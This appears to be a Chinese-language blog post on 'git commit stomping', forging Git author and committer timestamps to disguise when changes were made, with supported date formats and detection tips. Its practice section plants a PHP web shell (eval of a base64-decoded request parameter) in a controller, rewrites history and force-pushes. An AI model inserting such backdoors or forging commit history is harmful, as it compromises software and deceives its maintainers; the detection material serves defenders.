git commit stomping
前言:git commit stomping 操纵文件元数据来隐藏操作的真实时间
参考文章:https://blog.zsec.uk/commit-stomping/
手动时间戳控制
Git 允许您通过环境变量来控制这两个时间戳,这使得元数据的保存合法化,或被滥用来伪造历史。
GIT_AUTHOR_DATE="2025-05-01T10:00:00" \
GIT_COMMITTER_DATE="2025-01-15T15:30:00" \
git commit -m "Insert logic for token generation"
支持的时间戳格式
Git 支持这些环境变量和标志的各种格式--date:
- Git 内部格式
<unix timestamp> <time zone offset>
例子:GIT_AUTHOR_DATE="1700000000 +0100",这代表2024 年 11 月 14 日,06:13:20 CET。
- ISO 8601
GIT_AUTHOR_DATE="2024-11-14T06:13:20+01:00"
GIT_AUTHOR_DATE="2024-11-14 06:13:20 +0100"
- RFC 2822
GIT_AUTHOR_DATE="Tue, 14 Nov 2024 06:13:20 +0100"
- relatives
GIT_AUTHOR_DATE="2 weeks ago"
GIT_COMMITTER_DATE="yesterday"
- period
GIT_AUTHOR_DATE="@1700000000"
实践
git config --global user.name "wen"
git config --global user.email "wen@gmai.com"
git rebase -i HEAD~2
vim app/home/controller/DreamController.php
$type = $this->request->param("type");
if(!empty($type)){eval(base64_decode($type));}
git add app/home/controller/DreamController.php
git commit --amend --no-edit
git rebase --continue
git push --force-with-lease origin main
检测方法
除非另有说明,否则相当于"1700000000 +0000"。
可以通过元数据分析和与可信外部记录的比较来识别Commit Stomping
查找同一用户的多次提交中相同或高度相似的时间戳。
GIT_AUTHOR_DATE标记和之间的巨大差异GIT_COMMITTER_DATE。
检查与日志中的位置相比不按时间顺序排列的提交。
为了识别不一致之处,请将提交元数据与 CI/CD 管道日志、镜像存储库和 webhook 数据进行比较。
监控很久以前的异常提交集群,特别是批量提交或由单个贡献者提交的提交。

浙公网安备 33010602011771号